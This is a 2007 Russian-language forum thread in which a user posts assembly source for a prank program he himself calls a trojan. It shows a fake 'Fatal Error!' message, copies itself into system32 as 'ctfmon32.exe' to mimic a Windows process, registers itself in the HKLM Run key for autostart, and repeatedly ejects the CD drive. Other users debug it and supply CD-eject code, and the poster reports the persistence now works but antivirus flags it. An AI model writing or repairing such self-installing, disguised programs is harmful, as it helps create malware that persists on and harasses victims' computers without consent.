Проблемы с программой на Ассемблере
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
Проблемы с программой на Ассемблере - 2007-08-17 09:36:17.620000
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
Уважаемые хакеры! Недавно пробовал написать программу, которая будет открывать-закрывать CD-ROM… и прописываться на автозагрузку в реестр (HKEY_LOCAL_MACHINE\Software\Microsoft\WIndows\CurrentVersion\Run\ctfmon32.exe)… Вот исходник программы: .386 .model flat, stdcall option casemap:none include windows.inc include kernel32.inc include user32.inc include winmm.inc include advapi32.inc includelib user32.lib includelib kernel32.lib includelib winmm.lib includelib advapi32.lib .data cdopen db "open cdaudio",0 cd_openned db "set cdaudio door open",0 cd_closed db "set cdaudio door closed",0 cdclose db "close cdaudio",0 Message db "Ýò ÿ!",0 Caption db "Fatal Error!",0 SubKey db "Software\Microsoft\Windows\CurrentVersion\Run\",0 TrojanName db "ctfmon32.exe",0 TrojanPath db "C:\WINDOWS\system32\ctfmon32.exe",0 .data? hKey db ? FileName db 256 dup (?) .code start: invoke MessageBox,NULL,ADDR Message,ADDR Caption,NULL invoke GetModuleFileName,NULL,ADDR FileName,SIZEOF FileName invoke CopyFile,ADDR FileName,ADDR TrojanPath,FALSE invoke RegCreateKey,HKEY_LOCAL_MACHINE,ADDR SubKey,ADDR hKey invoke RegSetValueEx,hKey,ADDR TrojanName,0,REG_SZ,ADDR TrojanPath,50 _loop: invoke mciSendString,ADDR cdopen,NULL,NULL,NULL invoke mciSendString,ADDR cd_openned,NULL,NULL,NULL invoke mciSendString,ADDR cd_closed,NULL,NULL,NULL invoke mciSendString,ADDR cdclose,NULL,NULL,NULL invoke Sleep,0FFFh jmp _loop invoke ExitProcess,NULL end start Но программа почему-то у меня запускается, у процессах есть, в реестре запись не создает, CD-ROM не открывает… Кто знает, почему так, помогите, пожалуйста[:(] Заранее огромное спасибо!
|
|
|
RE: Проблемы с программой на Ассемблере - 2007-08-21 03:33:06.180000
|
|
|
BinZo
Сообщений: 230
Оценки: 0
Присоединился: 2006-12-02 20:29:14.373333
|
Кстати такой вопрос, можно сказать в тему: можно ли командой out отослать на ide1 (походу сдром, 0х170) какое-то значение, заставляющее его открываться? Такая программа и весить меньше будет, и выполняться быстрей…
|
|
|
RE: Проблемы с программой на Ассемблере - 2007-08-21 03:46:05.313333
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
Если вопрос мне, то я не знаю:) я пользуюсь для открытия-закрытия CD-ROM'a этими: "open cdaudio",0; "set cdaudio door open",0; "set cdaudio door closed",0; "close cdaudio",0.
|
|
|
RE: Проблемы с программой на Ассемблере - 2007-08-21 08:31:37.550000
|
|
|
JD_WERT
Сообщений: 117
Оценки: 0
Присоединился: 2007-07-12 06:59:16.613333
|
quote:
стати такой вопрос, можно сказать в тему: можно ли командой out отослать на ide1 (походу сдром, 0х170) какое-то значение, заставляющее его открываться? Такая программа и весить меньше будет, и выполняться быстрей… Нельзя. По крайней мере в Win 2000 - XP без модификации ядерных структур (IOPL и карты портов ввода-вывода). Для того, чтобы писать в порты нужен драйвер, или, хотя бы, Win 9x (хотя тут не уверен)
|
|
|
RE: Проблемы с программой на Ассемблере - 2007-08-21 14:03:16.706666
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
Используй ключик wait. Например, set cdaudio door open wait set cdaudio door closed wait А вообще, лучше использовать DeviceIoControl с кодами IOCTL_STORAGE_EJECT_MEDIA и IOCTL_STORAGE_LOAD_MEDIA
|
|
|
RE: Проблемы с программой на Ассемблере - 2007-08-21 17:49:31.906666
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
ПАсибки, попробую, только что дает "wait"? :) quote:
А вообще, лучше использовать DeviceIoControl с кодами IOCTL_STORAGE_EJECT_MEDIA и IOCTL_STORAGE_LOAD_MEDIA можно чуть поподробнее?;)
|
|
|
RE: Проблемы с программой на Ассемблере - 2007-08-21 21:29:45.720000
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
С ключиком wait функция mciSendString возвращается толко после завершения операции. Без этого ключика команда на открытие сидерома не успевает выполнится, а твоя прога уже посылает команду на закрытие. Поэтому в лучшем случае будет мигать лампочка на сидероме, но открываться он не будет. Вот прога, использующая DeviceIoControl для открытия/закрытия сидерома. Преимущество в том, что можно выбирать любой драйв и все нужные функции есть в kernel32.dll. Недостаток - нужны админские права. .386 .model flat, stdcall extrn CreateFileA : proc extrn CloseHandle : proc extrn DeviceIoControl : proc extrn MessageBoxA : proc IOCTL_STORAGE_EJECT_MEDIA = 2D4808h IOCTL_STORAGE_LOAD_MEDIA = 2D480Ch .data drive db "\\.\E:",0 ; буква нашего дисковода msg00 db "Опс…",0 msg01 db "Невозможно получить доступ к драйву.",0 cb dd ? .code start proc uses esi call CreateFileA, offset drive, 0C0000000h, 3, 0, 03h, 0, 0 cmp eax, -1 jz @start_1 xchg esi, eax ; открыть сидером call DeviceIoControl, esi, IOCTL_STORAGE_EJECT_MEDIA, 0, 0, 0, 0, offset cb, 0 ; закрыть сидером call DeviceIoControl, esi, IOCTL_STORAGE_LOAD_MEDIA, 0, 0, 0, 0, offset cb, 0 ret @start_1: call MessageBoxA, 0, offset msg01, offset msg00, 0 ret start endp end start Эту прогу можно скомпилить тасмом.
|
|
|
RE: Проблемы с программой на Ассемблере - 2007-08-22 12:12:25.710000
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
Пасиб:) попробую:) но мне почему-то 'set cdaudio door open wait' нравится чуть больше…. Кстати, скажите, плиз, если не сложно, чем отличается, "set cdaudio door open" от "open cdaudio"?
|
|
|
RE: Проблемы с программой на Ассемблере - 2007-08-22 19:58:07.753333
|
|
|
redsh
Сообщений: 338
Оценки: 0
Присоединился: 2007-06-17 22:35:25.540000
|
quote:
ORIGINAL: Necromancer13 Кстати, скажите, плиз, если не сложно, чем отличается, "set cdaudio door open" от "open cdaudio"? Ты уверен, что open cdaudio делает именно то, что ты хочешь? Вообще, команда open используется для открытия файлов и устройств, но не как не лотка сидерома. Можешь проверить:)) Кстати в твоей проге есть ошибка: hKey db ? нада заменить на hKey dd ?
|
|
|
RE: Проблемы с программой на Ассемблере - 2007-08-22 21:38:15.773333
|
|
|
Necromancer13
Сообщений: 146
Оценки: 0
Присоединился: 2007-06-28 02:00:57.563333
|
Спасибо… ну не знаю "open cdaudio" и "close cdaudio" в программе-шутке было… и я поставил.. думал, что это для открытия CD-ROM'а… пасиб) надо попробовать без него… с реестром все норм… прописывается на автозагрузку… только нативирус гад видит [&:] НО это не важно)) спасибо всем:)
|
|
|
|
|